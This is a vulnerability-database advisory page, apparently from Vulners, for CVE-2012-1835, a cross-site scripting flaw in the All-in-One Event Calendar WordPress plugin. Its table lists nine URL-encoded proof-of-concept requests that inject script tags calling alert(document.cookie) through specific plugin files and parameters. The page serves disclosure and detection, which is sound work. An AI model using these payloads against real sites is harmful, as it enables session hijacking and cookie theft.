Lucene search
+L

CVE-2012-1835

🗓️ 14 Aug 2012 21:00:00Reported by mitreType 
cve
 cve
🔗 web.nvd.nist.gov👁 107 Views🌐 WEB

CVE-2012-1835 Cross-site scripting in All-in-One Event Calendar plugin for WordPres

Related
Detection
Refs
Paths
ParameterPositionPathDescriptionCWE
title[id]query paramwp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget-form.php?title[id]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3EXSS via title[id] parameter in agenda-widget-form.phpCWE-79
args[before_widget]query paramwp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?args[before_widget]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3EXSS via args[before_widget] parameter in agenda-widget.phpCWE-79
titlequery paramwp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3EXSS via title parameter in agenda-widget.phpCWE-79
titlequery paramwp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&before_title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3EXSS via title and before_title parameters in agenda-widget.phpCWE-79
before_titlequery paramwp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&before_title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3EXSS via title and before_title parameters in agenda-widget.phpCWE-79
titlequery paramwp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&after_title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3EXSS via title and after_title parameters in agenda-widget.phpCWE-79
after_titlequery paramwp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&after_title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3EXSS via title and after_title parameters in agenda-widget.phpCWE-79
button_valuequery paramwp/wp-content/plugins/all-in-one-event-calendar/app/view/box_publish_button.php?button_value=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3EXSS via button_value parameter in box_publish_button.phpCWE-79
msgquery paramwp/wp-content/plugins/all-in-one-event-calendar/app/view/save_successful.php?msg=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3EXSS via msg parameter in save_successful.phpCWE-79

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2026 23:40Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.08946
107